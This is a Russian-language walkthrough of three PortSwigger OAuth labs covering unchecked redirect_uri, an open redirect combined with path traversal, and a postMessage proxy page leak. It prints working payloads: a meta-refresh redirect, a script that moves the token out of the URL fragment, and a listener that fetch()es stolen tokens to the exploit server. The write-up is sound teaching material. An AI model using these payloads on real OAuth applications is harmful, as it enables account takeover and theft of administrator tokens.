Се­год­ня раз­берем мис­конфи­ги OAuth, которые встре­чают­ся в дикой при­роде и, хоть сами по себе безобид­ны, в опре­делен­ных усло­виях могут иметь серь­езные пос­ледс­твия — вплоть до похека админ­ских акка­унтов. В этой статье я покажу, как искать такие цепоч­ки уяз­вимос­тей.

Ты, нап­ример, мог слы­шать про Open Redirect, который час­то не вос­при­нима­ют всерь­ез и за обна­руже­ние которо­го не пла­тят Bug Bounty. Но если ты смо­жешь най­ти спо­соб кра­сиво заюзать его и повысить импакт до кра­жи акка­унта, это уже сов­сем дру­гое дело.

info

О том, как устро­ен про­токол OAuth и как экс­плу­ати­руют базовые уяз­вимос­ти в нем, читай в моей пре­дыду­щей статье — «OAuth от и до. Изу­чаем про­токол и раз­бира­ем базовые ата­ки на OAuth».

Что будет, если не проверять redirect_uri

Схематичное изображение атаки с подменой redirect_uri
Схе­матич­ное изоб­ражение ата­ки с под­меной redirect_uri

Пер­вый кейс прос­той. redirect_uri — это тот параметр, который говорит сер­веру авто­риза­ции, на какой URL ему нуж­но нап­равить токен пос­ле того, как поль­зователь вой­дет через соци­аль­ную сеть и сог­ласит­ся дать дос­туп к сво­им ресур­сам.

При­ложе­ние на пер­вом эта­пе авто­риза­ции по OAuth, или, в тер­миноло­гии спе­ки, эта­пе Authorization Request, фор­миру­ет ссыл­ку и ука­зыва­ет в качес­тве это­го парамет­ра под­кон­троль­ный ему эндпо­инт.

Ког­да ты вхо­дишь через Discord на сайт Midjourney, ссыл­ка выг­лядит при­мер­но так:

<https://discord.com/login>
?redirect_to=https://midjourney.com/oauth2/authorize
?response_type=code
&client_id=936929561302675456
&redirect_uri=https://www.midjourney.com/__/auth/handler
&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7QgIiRQCk
&scope=identify email guilds.join guilds.members.read role_connections.write
&context_uri=https://www.midjourney.com

В этом зап­росе говорит­ся о том, что в кон­це флоу сер­вер авто­риза­ции не толь­ко выда­ет код, но и дол­жен вер­нуть поль­зовате­ля на сайт при­ложе­ния midjourney.com/oauth2/authorize.

По‑хороше­му в парамет­ре redirect_uri дол­жен быть вай­тлист ссы­лок, на которые мож­но редирек­тить. Такие ссыл­ки обыч­но ука­зыва­ет вла­делец при­ложе­ния, ког­да его регис­три­рует. Это поз­воля­ет обру­бать зап­рос, если кто‑то под­ста­вит свой redirect_uri.

Ес­ли вай­тлис­та нет, это соз­дает прос­транс­тво для манипу­ляций. Зло­умыш­ленник может взять ссыл­ку из пер­вого эта­па и заменить в ней redirect_uri под­кон­троль­ным ему сер­висом, выложить ее где‑нибудь в соци­аль­ных сетях и украсть токен пос­ле того, как кто‑нибудь уже авто­ризо­ван­ный в Discord и в Midjourney перей­дет по ней (то же спра­вед­ливо и для дру­гих пар при­ложе­ний и OAuth-про­вай­деров).

Сей­час мы раз­берем это под­робнее на реаль­ном при­мере.

Лаба: OAuth account hijacking via redirect_uri

Стар­туем и ока­зыва­емся на глав­ной стра­нице со стран­ной кар­тинкой.

Главная страница блога
Глав­ная стра­ница бло­га

Как и рань­ше, про­ходим весь флоу с логином, что­бы соб­рать все зап­росы и спо­кой­но про­ана­лизи­ровать их. Заходим под акка­унтом wiener.

Уведомление об успешном логине
Уве­дом­ление об успешном логине

И ока­зыва­емся в лич­ном кабине­те.

Личный кабинет
Лич­ный кабинет

Флоу авто­риза­ции прой­ден, перехо­дим в Burp. Находим Authorization Request (тот зап­рос на сер­вер авто­риза­ции, на который нас перенап­равило при­ложе­ние) и отправ­ляем его в Repeater.

Имен­но в этой ссыл­ке есть уяз­вимый redirect_uri, который мы и будем экс­плу­ати­ровать.

Запрос на авторизацию
Зап­рос на авто­риза­цию

Уяз­вимость зак­люча­ется в том, что в при­ложе­нии сер­вера авто­риза­ции дол­жным обра­зом (вооб­ще никак) не про­веря­ется redirect_uri. А это зна­чит, что, под­менив его, мы можем нап­равить поль­зовате­ля на собс­твен­ную стра­ницу, что­бы залоги­ровать чужой токен.

Пос­мотрим, как это про­исхо­дит на прак­тике. Меня­ем в нашем зап­росе тот URI, который был ука­зан, на адрес экс­пло­ит‑сер­вера. Он выда­ется в лабора­тори­ях вро­де этой, и его мож­но най­ти в вер­хнем меню.

Кнопка с переходом к эксплоит-серверу
Кноп­ка с перехо­дом к экс­пло­ит‑сер­веру

Пе­рехо­ди туда, копируй ссыл­ку и встав­ляй ее в качес­тве парамет­ра redirect_uri.

Ссылка на эксплоит-сервер
Ссыл­ка на экс­пло­ит‑сер­вер

У меня это выг­лядит так.

Подмена redirect_uri адресом эксплоит-сервера
Под­мена redirect_uri адре­сом экс­пло­ит‑сер­вера

Мож­но нажать пра­вой кноп­кой мыши и выб­рать Copy URL, что­бы ско­пиро­вать всю ссыл­ку и пос­мотреть в бра­узе­ре, как про­изой­дет редирект и в логах появит­ся наш токен.

Ниг­де ничего вво­дить уже не надо (так как мы уже вош­ли на всех сай­тах и дали сог­ласие), прос­то ты про­шел цепоч­ку редирек­тов, и вот уже токен залоги­рован на нашем экс­пло­ит‑сер­вере или сер­вере зло­умыш­ленни­ка.

OAuth-токен в access-логах
OAuth-токен в access-логах

Это наш собс­твен­ный токен, а нам нужен токен адми­нис­тра­тора. Так что воз­вра­щаем­ся на глав­ную стра­ницу экс­пло­ит‑сер­вера и берем ту же самую раз­метку с редирек­том, которую мы уже исполь­зовали в лабора­тори­ях из прош­лой статьи. Толь­ко на этот раз меня­ем URL на тот, который мы толь­ко что скраф­тили, где redirect_uri ведет на наш сер­вер.

У меня получи­лось так.

<meta http-equiv="refresh" content="0; url=https://oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" />

Встав­ляем HTML-раз­метку в поле Body и сох­раня­ем кноп­кой Store.

HTML-разметка для эксплоита
HTML-раз­метка для экс­пло­ита

Те­перь у нас есть стра­ница, на которую может зай­ти адми­нис­тра­тор, и тог­да мы укра­дем его учет­ку. При посеще­нии стра­ницы про­изой­дет цепоч­ка редирек­тов для авто­риза­ции. Пос­коль­ку он уже залоги­нен в соци­аль­ной сети, в кон­це кон­цов он будет перенап­равлен на наш сер­вер, где мы и залоги­руем его OAuth-токен из URL.

На­жима­ем Deliver exploit to victim. В зависи­мос­ти от наг­рузки на сер­веры PortSwigger зап­рос может прий­ти с неболь­шой задер­жкой. Мне приш­лось подож­дать нес­коль­ко минут (в течение которых я жал одну и ту же кноп­ку), и в кон­це кон­цов мне при­лете­ло нес­коль­ко десят­ков зап­росов с токеном адми­нис­тра­тора.

Много залогированных токенов админа
Мно­го залоги­рован­ных токенов адми­на

Ко­пиру­ем пос­ледний при­шед­ший токен и встав­ляем в зап­рос /oauth-callback. Если все прой­дет нор­маль­но, сер­вер дол­жен отдать куки и показать, что мы залоги­нены. Так и про­изош­ло. Появи­лась ссыл­ка на панель адми­нис­тра­тора, а это зна­чит, что мы не прос­то заш­ли, а заш­ли как админ.

Отправка украденного кода, чтобы получить сессию админа
От­прав­ка укра­ден­ного кода, что­бы получить сес­сию адми­на

За­ходим через бра­узер, уда­ляем поль­зовате­ля carlos и нас­лажда­емся победой над еще одной лабой.

Уведомление об успешном прохождении лабы
Уве­дом­ление об успешном про­хож­дении лабы

Злоупотребление открытым редиректом в связке с OAuth

Схематичное изображение Open Redirect
Схе­матич­ное изоб­ражение Open Redirect

Да­вай крат­ко вспом­ним, что вооб­ще такое Open Redirect.

info

Open Redirect, или откры­тое перенап­равле­ние, — это такая уяз­вимость, ког­да веб‑при­ложе­ние допус­кает перенап­равить поль­зовате­ля на про­изволь­ные внеш­ние URL-адре­са без дол­жной про­вер­ки.

Нап­ример, у нас есть сайт Google. Он не нуж­дает­ся в пред­став­лении, у него боль­шой кре­дит доверия, и все ком­пании счи­тают, что домен google.com безопас­ный, поэто­му дают ему некото­рые пос­лабле­ния, добав­ляя в собс­твен­ные белые спис­ки.

Но если зло­умыш­ленни­ки най­дут на нем Open Redirect, то они смо­гут вос­поль­зовать­ся этим довери­ем и исполь­зовать его, что­бы соз­дать ссыл­ку на собс­твен­ный C2-сер­вер, обхо­дя детек­тирова­ние некото­рых анти­виру­сов.

Вот при­мер такой ссыл­ки:

https://www.google.com/url?sa=t&url=https://evil.com

Она была бы уяз­вимой, если бы сра­зу нап­равля­ла на ука­зан­ный сайт. Хорошим тоном счи­тает­ся пре­дуп­реждать поль­зовате­ля, что он покида­ет легитим­ный сайт, и не выпол­нять редирект без его сог­ласия.

Предупреждение о небезопасном сайте
Пре­дуп­режде­ние о небезо­пас­ном сай­те

Сам по себе Open Redirect не очень опа­сен, кро­ме пог­ранич­ного слу­чая, свя­зан­ного с вре­доно­сами, который я опи­сал выше. Но его час­то исполь­зуют в связ­ке с экс­плу­ата­цией дру­гих веб‑уяз­вимос­тей, ког­да он ста­новит­ся по‑нас­тояще­му гроз­ным ору­жием, поз­воля­ющим обхо­дить мно­гие филь­тры, заточен­ные на про­вер­ку по регуляр­ке или подс­тро­ке.

К при­меру, сайт может про­верять, что redirect_uri начина­ется толь­ко с https://example.com. Если на этом example.com получит­ся най­ти Open Redirect, то мож­но будет и прой­ти про­вер­ку, и экс­плу­ати­ровать уяз­вимость, что­бы украсть токен через OAuth.

Лаба: Stealing OAuth access tokens via an open redirect

Как всег­да, откры­ваем лабора­торию и попада­ем на глав­ную стра­ницу бло­га.

Главная страница блога
Глав­ная стра­ница бло­га

Ло­гиним­ся через соци­аль­ную сеть.

Вход через социальную сеть
Вход через соци­аль­ную сеть

Смот­рим исто­рию зап­росов, берем Authorization Request и пыта­емся пов­торить трюк из пре­дыду­щей лабы — для это­го заменя­ем redirect_uri каким‑нибудь сво­им, нап­ример адре­сом экс­пло­ит‑сер­вера.

От­прав­ляем зап­рос и видим в отве­те текст error: redirect_uri_mismatch, который озна­чает, что на этот раз мы не смо­жем так наг­ло, как рань­ше, заменить этот параметр и украсть токен.

Ошибка из-за того, что сайт сравнивает вставленный URL с вайтлистом
Ошиб­ка из‑за того, что сайт срав­нива­ет встав­ленный URL с вай­тлис­том

Нем­ного покопав­шись на сай­те, находим в самом низу стра­ницы записи из бло­га две ссыл­ки: на пре­дыду­щую запись и сле­дующую (если она есть).

Ссылки на предыдущую и следующую статьи
Ссыл­ки на пре­дыду­щую и сле­дующую статьи

Выг­лядит ссыл­ка сле­дующим обра­зом:

https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/post/next?path=/post?postId=10

Как мож­но заметить, у нее есть параметр path, где ука­зан путь, по которо­му нуж­но сде­лать редирект. Что, если бы мы мог­ли поп­робовать экс­плу­ати­ровать здесь Open Redirect и перенап­равить поль­зовате­ля на любой дру­гой сайт или даже собс­твен­ный вре­донос­ный сер­вер?

За­меня­ем redirect_uri сво­ей ссыл­кой:

https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/post/next?path=https://google.com

От­прав­ляем зап­рос и сно­ва стал­кива­емся с той же самой ошиб­кой. Видимо, сер­вер про­веря­ет не толь­ко домен, на который мы редирек­тим, но и сам путь.

Пейлоад снова не сработал
Пей­лоад сно­ва не сра­ботал

Пу­тем экспе­римен­тов выяс­няем, что ссыл­ка обя­затель­но дол­жна начинать­ся так:

https://<поддомен лабы>.web-security-academy.net/oauth-callback/

Мы можем допол­нитель­но экс­плу­ати­ровать Path Traversal, что­бы удов­летво­рять пра­вилам. Фор­миру­ем сле­дующую ссыл­ку и пыта­емся сно­ва отпра­вить зап­рос с изме­нен­ным redirect_uri:

https://<поддомен лабы>.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
Эксплуатация Open Redirect и Path Traversal
Экс­плу­ата­ция Open Redirect и Path Traversal

Сра­бота­ло!

Ко­пиру­ем получен­ный URL, откры­ваем в бра­узе­ре, и вот наш токен про­кинул­ся на тот сайт, который мы ука­зали.

Редирект с нашим токеном на google.com
Ре­директ с нашим токеном на google.com

Те­перь вмес­то google.com мы можем пос­тавить ссыл­ку на собс­твен­ный сер­вер и украсть токен. Но пот­ребу­ются еще неболь­шие доработ­ки. Мож­но заметить, что токен переда­ется не через при­выч­ный GET-параметр пос­ле зна­ка воп­роса, а как якорь (то есть идет пос­ле решет­ки). Обыч­но сер­веры не логиру­ют такие парамет­ры, потому что они пред­назна­чены толь­ко для бра­узе­ра.

Со­ответс­твен­но, обра­баты­вает­ся токен толь­ко на сто­роне кли­ента, и нам нуж­но извлечь его. Делать это мы будем с помощью прос­тень­кого кода на JavaScript.

Вот что будет делать наш скрипт:

  1. Ес­ли поль­зователь зашел впер­вые — отпра­вит его на вход через соци­аль­ную сеть с нашим вре­донос­ным урлом.
  2. Ес­ли поль­зователь вер­нулся по URL, который был ука­зан в пер­вом пун­кте, извле­кает токен и отправ­ляет его на этот же URL, но уже с нор­маль­но задан­ным GET-парамет­ром, который залоги­рует­ся:
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0ace001a0475a73994506b4c02120084.oauth-server.net/auth?client_id=woh27no9eqarfla0piito&redirect_uri=https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/exploit&response_type=token&nonce=-958106083&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>

По­меща­ем скрипт на свой экс­пло­ит‑сер­вер и нажима­ем Deliver exploit to victim.

Эксплоит, который перенаправит пользователя и залогирует токен
Экс­пло­ит, который перенап­равит поль­зовате­ля и залоги­рует токен

Ждем пару секунд и про­веря­ем логи, где и находим зап­рос с токеном.

Токен админа в access-логах
То­кен адми­на в access-логах
https://exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/?access_token=38oaEgDJw-n7e_r_pHnYs6gCsnyQ1R58L4TRG4KKAne&expires_in=3600&token_type=Bearer&scope=openid profile email

Те­перь у нас есть OAuth-токен адми­нис­тра­тора. Из исто­рии зап­росов находим зап­рос к API /me. Этот эндпо­инт отда­ет информа­цию о вла­дель­це токена.

Запрос /me, который позволяет получить инфу о пользователе
Зап­рос /me, который поз­воля­ет получить инфу о поль­зовате­ле

Под­став­ляем в него наш OAuth-токен, получа­ем информа­цию о поль­зовате­ле (где вид­но, что мы зав­ладели акка­унтом адми­нис­тра­тора) и его API-ключ, который нужен, что­бы прой­ти лабора­торию.

Делаем запрос на /me с токеном админа и получаем API-ключ
Де­лаем зап­рос на /me с токеном адми­на и получа­ем API-ключ

Ко­пиру­ем его, встав­ляем в Submit solution.

Как сдать флаг
Как сдать флаг

Под­твержда­ем отправ­ку и при­нима­ем поз­драв­ления.

Поздравления с прохождением лабы
Поз­драв­ления с про­хож­дени­ем лабы

Формируем цепочки багов для повышения импакта

Как быть, если мы не смог­ли най­ти ни одну из оши­бок, о которых я рас­ска­зал выше? Уяз­вимос­ти типа Open Redirect и CSRF, которые мы экс­плу­ати­рова­ли в ком­бинации с клас­сичес­кими ата­ками на OAuth, не единс­твен­ные, которые тут могут быть полез­ны.

У OAuth мно­го воз­можнос­тей и откро­вен­ных багов, которые может исполь­зовать зло­умыш­ленник, что­бы украсть токен. Одна­ко в слу­чае более слож­ных при­ложе­ний ему (и тебе — как пен­тесте­ру) пот­ребу­ется нем­ного фан­тазии.

Вот нес­коль­ко хороших при­меров:

Сей­час мы на прак­тике реали­зуем опас­ную цепоч­ку гад­жетов, где исполь­зование PostMessage ста­ло фаталь­ным и поз­волило украсть чужой токен.

Как работает PostMessage

PostMessage — этот механизм, который поз­воля­ет безопас­но отправ­лять кросс‑домен­ные зап­росы.

Схематичное изображение работы PostMessage
Схе­матич­ное изоб­ражение работы PostMessage

Обыч­но дос­туп к ресур­сам на раз­ных стра­ницах раз­решен толь­ко в том слу­чае, если стра­ницы име­ют один и тот же origin, то есть «про­исхожде­ние», которое опре­деля­ется по ком­бинации про­токо­ла (нап­ример, HTTPS), номера пор­та (443 — по умол­чанию для HTTPS) и хос­та (домен­ного име­ни).

Это часть механиз­ма безопас­ности бра­узе­ра, которая называ­ется полити­кой одно­го источни­ка (Same-Origin Policy). SOP защища­ет конеч­ного поль­зовате­ля от того, что код в одном окне бра­узе­ра укра­дет дан­ные из дру­гого.

PostMessage пре­дос­тавля­ет кон­тро­лиру­емый механизм, который помога­ет обой­ти это огра­ниче­ние безопас­ным спо­собом (при пра­виль­ном исполь­зовании).

Все работа­ет очень прос­то, PostMessage пред­полага­ет два обя­затель­ных ком­понен­та:

Один метод нуж­но зап­рашивать в окне, которое хочет отпра­вить дан­ные, дру­гой — в том, которое хочет получить эти дан­ные. Дру­гими сло­вами, это некое сог­лашение, которое поз­воля­ет обме­нять­ся толь­ко теми дан­ными, о которых окна пред­варитель­но догово­рились друг с дру­гом.

Burp Suite и DOM Invader

В Burp Suite есть встро­енный бра­узер с рас­ширени­ем DOM Invader. Оно поз­воля­ет авто­мати­зиро­вать некото­рые ата­ки и показы­вать содер­жимое сооб­щений, пересы­лаемых меж­ду окна­ми с помощью PostMessage.

Что­бы открыть бра­узер, надо запус­тить Burp, перей­ти в Proxy и нажать Open browser.

Открываем модифицированный Chromium
От­кры­ваем модифи­циро­ван­ный Chromium

От­кро­ется обыч­ный Chromium, но с импорти­рован­ным SSL-сер­тифика­том от PortSwigger, вклю­чен­ным прок­си‑сер­вером, который сра­зу «из короб­ки» нап­равля­ет все зап­росы в Burp, и с рас­ширени­ем DOM Invader, которое может помочь экс­плу­ати­ровать XSS, Prototype Pollution и смот­реть содер­жимое пост‑мес­седжей.

Рас­ширение пре­дус­танов­лено, но может быть вык­лючено по умол­чанию. Что­бы вклю­чить, надо перей­ти в chrome://extensions/ и пос­тавить соот­ветс­тву­ющую галоч­ку.

Расширение Burp Suite должно быть включено
Рас­ширение Burp Suite дол­жно быть вклю­чено

В меню появит­ся зна­чок, который поз­воля­ет управлять нас­трой­ками рас­ширения. Нам нуж­но, что­бы оно работа­ло и логиро­вало пост‑мес­седжи, для это­го акти­вируй те же самые пун­кты, что отме­чены у меня на скрин­шоте.

Эти два переключателя должны быть активны
Эти два перек­лючате­ля дол­жны быть активны

Те­перь мож­но открыть сайт stevesouders.com/misc/test-postmessage.php (или любой ана­логич­ный), нажать на пер­вый тест и уви­деть, как рас­ширение залоги­рует отправ­ленное сооб­щение.

Проверяем, логируются ли пост-месседжи
Про­веря­ем, логиру­ются ли пост‑мес­седжи

Ес­ли все так, как у меня на скри­не, мож­но перехо­дить к лабе.

Лаба: Stealing OAuth access tokens via a proxy page

От­кры­ваем глав­ную сай­та, где встре­чаем мно­гообе­щающую кар­тинку.

Главная страница блога
Глав­ная стра­ница бло­га

По уже обка­тан­ному сце­нарию заходим в акка­унт wiener, став­ший нам род­ным.

Страница подтверждения выдачи доступа к собственным ресурсам
Стра­ница под­твержде­ния выдачи дос­тупа к собс­твен­ным ресур­сам

От­кры­ваем HTTP History в Burp, находим Authorization Request, пересы­лаем его в Repeater и начина­ем экспе­римен­тировать.

Для начала попыта­емся про­вер­нуть тот же самый трюк, к которо­му мы при­бег­ли в прош­лой лабора­тории. Поп­робу­ем экс­плу­ати­ровать ста­рый доб­рый Open Redirect, который поз­волил нам ранее украсть токен адми­нис­тра­тора. Заменя­ем стан­дар­тный redirect_uri зна­комым уже пей­лоадом с Path Traversal и «ссыл­кой на пост», где вмес­то пос­та — google.com.

Попытка использовать эксплоит из предыдущей лабы
По­пыт­ка исполь­зовать экс­пло­ит из пре­дыду­щей лабы

От­пра­вив зап­рос, видим, что редирект дей­стви­тель­но есть. Это пер­вичный приз­нак того, что мы можем исполь­зовать эту ссыл­ку, что­бы про­кинуть кас­томный URL.

Од­нако, если углу­бить­ся, выяс­нится, что приз­нак обманчи­вый. Украсть токен таким спо­собом в этот раз так прос­то не вый­дет, пос­коль­ку на сай­те прос­то нет стра­ницы с перехо­дом к сле­дующе­му пос­ту из прош­лой лабора­тории.

Этот эндпоинт больше не существует
Этот эндпо­инт боль­ше не сущес­тву­ет

А обыч­ный зап­рос со сто­рон­ним сай­том будет говорить о мис­матче. При­дет­ся ковырять сам сайт на наличие нового Open Redirect или какой‑либо дру­гой уяз­вимос­ти, которая при­вела бы нас к написа­нию рабоче­го экс­пло­ита.

Если указать ссылку на сторонний сайт, будет ошибка
Ес­ли ука­зать ссыл­ку на сто­рон­ний сайт, будет ошиб­ка

Ес­ли зай­ти на стра­ницу любого пос­та из бло­га и про­лис­тать вниз, то, на пер­вый взгляд, ничего нового нет. Но если прис­мотреть­ся к исходно­му коду стра­ницы, то мож­но заметить необыч­ный iframe, внут­ри которо­го живет фор­ма для отправ­ки ком­мента­рия. Рань­ше это была натив­ная фор­ма, без каких‑либо фрей­мов.

Необычный iframe с отправкой комментария
Не­обыч­ный iframe с отправ­кой ком­мента­рия

Iframe ведет на дру­гую стра­ницу это­го же сай­та. Откро­ем ее по пря­мой ссыл­ке (для это­го прос­то нуж­но взять атри­бут src и вста­вить в адресную стро­ку) и гля­нем ее исходник.

Отдельная страница с формой
От­дель­ная стра­ница с фор­мой

На стра­нице есть сле­дующий код на JavaScript:

parent.postMessage({type: 'onload', data: window.location.href}, '*')
function submitForm(form, ev) {
ev.preventDefault();
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
parent.postMessage({type: 'oncomment', content: o}, '*');
form.reset();
}

Раз­берем­ся, что он дела­ет. Сна­чала вызыва­ется вот такой метод:

parent.postMessage({type: 'onload', data: window.location.href}, '*')

Он озна­чает, что пос­ле заг­рузки стра­ницы нуж­но отпра­вить сооб­щение onload родитель­ско­му окну (если оно сущес­тву­ет) с текущим URL стра­ницы (window.location.href) в клю­че data.

Даль­ше сле­дует фун­кция submitForm, которая, как мож­но догадать­ся, отве­чает за отправ­ку фор­мы. Давай прой­дем­ся по каж­дой стро­ке и пос­мотрим, что она дела­ет.

ev.preventDefault()

Эта стро­ка пре­дот­вра­щает стан­дар­тное дей­ствие бра­узе­ра по отправ­ке фор­мы.

const formData = new FormData(document.getElementById("comment-form"));

Здесь соз­дает­ся объ­ект FormData, который содер­жит дан­ные из фор­мы с иден­тифика­тором comment-form.

const hashParams = new URLSearchParams(window.location.hash.substr(1));

Соз­дает­ся объ­ект URLSearchParams, который содер­жит парамет­ры из хеш‑час­ти URL (всё пос­ле решет­ки).

const o = {};

Соз­дает­ся пус­той объ­ект o.

formData.forEach((v, k) => o[k] = v);

Эта стро­ка запол­няет объ­ект o дан­ными из фор­мы.

hashParams.forEach((v, k) => o[k] = v);

В объ­ект o добав­ляют­ся парамет­ры из хеш‑час­ти URL.

parent.postMessage({type: 'oncomment', content: o}, '*');

Этот метод отправ­ляет сооб­щение родитель­ско­му окну с типом oncomment и содер­жимым дан­ных из фор­мы, вмес­те с парамет­рами хеша.

И наконец, form.reset() сбра­сыва­ет фор­му, очи­щая все ее поля.

Ес­ли всё обоб­щить, то про­исхо­дит сле­дующее. На стра­ницу заг­ружа­ется iframe, внут­ри — поля для отправ­ки ком­мента­рия. Ког­да поль­зователь их запол­няет и нажима­ет Send Comment, в родитель­ское окно воз­вра­щает­ся содер­жимое фор­мы, а отту­да дан­ные отправ­ляют­ся на эндпо­инт send_form, который и пуб­лику­ет сам ком­мента­рий.

Ког­да заг­ружа­ется iframe, в родитель­ское окно еще отсы­лает­ся событие о том, что он успешно заг­ружен, и ссыл­ка, по которой он находит­ся.

{
"type": "onload",
"data": "https://0a9f003904c4085282b56f10003b00c8.web-security-academy.net/post/comment/comment-form#postId=3"
}

По­том «наверх» отправ­ляет­ся уже содер­жимое самого ком­мента­рия.

{
"type": "oncomment",
"content": {
"comment": "asdsad",
"name": "sadasd",
"email": "test@gmail.com",
"website": "https://google.com",
"postId": "3",
"csrf": "NoBM8Fn9Jf1nQ9GNcTtNzqDpxyfW8oTP"
}
}

Эти же сооб­щения мож­но уви­деть в DOM Invader.

Пример пост-месседжей, которые отправляются в родительское окно с урлом и токеном
При­мер пост‑мес­седжей, которые отправ­ляют­ся в родитель­ское окно с урлом и токеном

В жиз­ни ты имен­но такой кейс вряд ли встре­тишь, так как обыч­но ком­мента­рии отправ­ляет натив­ная фор­ма и прос­лой­ка в виде отдель­ного iframe здесь явно не нуж­на. Но в рам­ках лабора­тории нам под­готови­ли испы­тание, что­бы мы мог­ли научить­ся ком­биниро­вать подоб­ные осо­бен­ности в удач­ные ата­ки. Раз­работ­чики порой пишут стран­ный код, и мы дол­жны уметь исполь­зовать его в сво­их целях.

Как же исполь­зовать эту фор­му? Клю­чевое для нас — событие onload, при обра­бот­ке которо­го в родитель­ское окно воз­вра­щает­ся URL, вклю­чая ту часть, которая идет пос­ле зна­ка #. Кро­ме того, домен родитель­ско­го окна не про­веря­ется.

Как ты пом­нишь, OAuth-токен воз­вра­щает­ся тоже пос­ле зна­ка #, а это зна­чит, что если мы ука­жем в качес­тве redirect_uri ссыл­ку на эту фор­му, то в ито­ге смо­жем получить токен из пост‑мес­седжа в родитель­ском окне. В качес­тве родитель­ско­го окна будет выс­тупать наш экс­пло­ит‑сер­вер, где мы и перех­ватим токен.

Пе­рей­дем в Burp Repeater и заменим redirect_uri ссыл­кой на фор­му с ком­мента­рием, не забывая исполь­зовать Path Traversal из пре­дыду­щего задания (ина­че сер­вер не при­мет ссыл­ку).

Эксплуатируем Path Traversal, указывая ссылку на форму
Экс­плу­ати­руем Path Traversal, ука­зывая ссыл­ку на фор­му

От­кро­ем ссыл­ку и уви­дим цепоч­ку редирек­тов, которая при­водит нас на фор­му с отправ­кой ком­мента­рия, и OAuth-токеном в URL. Фор­ма берет URL и нап­равля­ет его в родитель­ское окно, которо­го пока что у нас нет.

Цепочка редиректов привела на форму с комментариями, в урле прокинулся токен
Це­поч­ка редирек­тов при­вела на фор­му с ком­мента­риями, в урле про­кинул­ся токен

Пе­рехо­дим к экс­пло­ит‑сер­веру и пишем код, который откры­вает наш прош­лый URL в iframe.

Размещаем iframe
Раз­меща­ем iframe

На­жима­ем на Store и стал­кива­емся с непонят­ной ошиб­кой.

Ошибка с нерабочим iframe
Ошиб­ка с нерабо­чим iframe

Стал­кивал­ся с этой ошиб­кой не я один, и на форуме PortSwigger были све­жие темы, где люди жалова­лись на то же самое.

Сообщения на форуме PortSwigger
Со­обще­ния на форуме PortSwigger

Как выяс­нилось, Chrome в новых вер­сиях по умол­чанию бло­киру­ет сто­рон­ние куки, и, что­бы прой­ти лабора­торию, при­дет­ся добавить домен экс­пло­ит‑сер­вера в исклю­чения бра­узе­ра. Для это­го перей­ди в раз­дел нас­тро­ек Privacy and security и вставь в Site allowed to use third-party cookies домен экс­пло­ит‑сер­вера.

Дол­жно получить­ся, как у меня на скрин­шоте.

Как добавить сайт в исключение для сторонних кук
Как добавить сайт в исклю­чение для сто­рон­них кук

Воз­вра­щаем­ся обратно к экс­пло­ит‑сер­веру.

Страница эксплоит-сервера
Стра­ница экс­пло­ит‑сер­вера

До­бавим еще неболь­шой JavaScript-код, который прос­то соз­дает так называ­емый listener («слу­шатель»), цель которо­го — при­нять PostMessage от дочер­него окна и вывес­ти его содер­жимое в кон­соль.

<script>
window.addEventListener('message', function(e) {
console.log(e.data)
}, false)
</script>

Код — на скрин­шоте ниже.

Код, который залогирует пришедшее из дочернего окна сообщение
Код, который залоги­рует при­шед­шее из дочер­него окна сооб­щение

Пос­мотрим, что получи­лось. Откры­ваем Exploit Server.

Сообщение с токеном в консоли
Со­обще­ние с токеном в кон­соли

И видим, как в кон­соли отоб­ража­ется URL с нашим токеном. Теперь нам надо научить­ся кодиро­вать дан­ные (так как всё, что идет пос­ле решет­ки, не логиру­ется, и нам надо испра­вить это) и делать редирект на экс­пло­ит‑сер­вер, что­бы дан­ные осе­дали в access-логе, отку­да мы их смо­жем заб­рать (тот самый access-токен адми­нис­тра­тора).

Эти же дан­ные мож­но уви­деть в DOM Invader.

Данные, которые перехватило расширение от PortSwigger
Дан­ные, которые перех­ватило рас­ширение от PortSwigger

Те­перь меня­ем console.log на fetch.

<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>

Об­новля­ем код на экс­пло­ит‑сер­вере.

Финальный эксплоит
Фи­наль­ный экс­пло­ит

От­кры­ваем сайт и видим, как вмес­то того, что­бы сох­ранить сооб­щение в логах, из него извле­чен URL и отправ­лен пря­мо к нам на экс­пло­ит‑сер­вер, с исполь­зовани­ем URL-кодиро­вания.

Мы получили URL с токеном и сделали так, чтобы он осел в логах
Мы получи­ли URL с токеном и сде­лали так, что­бы он осел в логах

Те­перь, если гля­нуть в логи, мож­но уви­деть там же эту ссыл­ку.

Наш собственный токен в access-логах
Наш собс­твен­ный токен в access-логах

Нап­равля­ем адми­нис­тра­тора на нашу стра­ницу и смот­рим за новыми логами.

Токен администратора в логах
То­кен адми­нис­тра­тора в логах

Ко­пиру­ем ссыл­ку, которая там появи­лась, и декоди­руем ее в Decoder.

Декодируем ссылку
Де­коди­руем ссыл­ку

Бе­рем токен и отправ­ляем на эндпо­инт /me.

Получаем API-ключ администратора
По­луча­ем API-ключ адми­нис­тра­тора

